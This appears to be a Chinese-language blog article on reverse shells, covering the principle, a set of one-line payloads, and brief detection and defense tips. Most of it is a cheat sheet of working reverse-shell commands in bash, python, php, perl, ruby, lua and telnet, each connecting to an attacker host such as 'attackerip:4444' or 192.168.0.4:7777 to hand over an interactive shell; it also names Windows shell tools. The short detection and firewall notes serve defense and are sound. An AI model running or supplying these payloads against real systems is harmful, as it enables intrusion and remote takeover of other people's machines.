目录

​简介​

​原理​

​反弹shell​

​bash​

​nc​

​python​

​php​

​perl​

​ruby​

​lua​

​ telnet​

​检测​

​防御​

​参考​



简介

如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。

原理

操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。

反弹shell

bash

bash -i >& /dev/tcp/ip/port 0>&1

0:标准输入;1:标准输出;2:标准错误。

bash -i:产生一个交互式环境

>&:将标准输出和标准错误结合,一起重定向给后者

/dev/tcp/ip/port:建立一个tcp连接

0>&1:将标准输入重定向到标准输出

nc

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

python -c command

将字符串当做python代码执行

网络安全-反弹shell详解(攻击,检测与防御)_python

同理,上面也是利用bash进行的反弹

php

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby

ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

 telnet

  mknod a p; telnet 接收端IP 端口 0<a | /bin/bash 1>a

Windows平台,可以使用powercat   reverseudpshell   icmpsh

检测

及时发现Bash进程启动事件

检查Bash进程是否打开了终端设备,是否有主动对外连接

防御

防火墙限制

Netlink监听,kill进程(详见腾讯云参考)

参考

​​​​​​基于主机的反弹shell检测思路 - 哔哩哔哩​​​

​自动化反弹Shell防御技术 - 云+社区 - 腾讯云​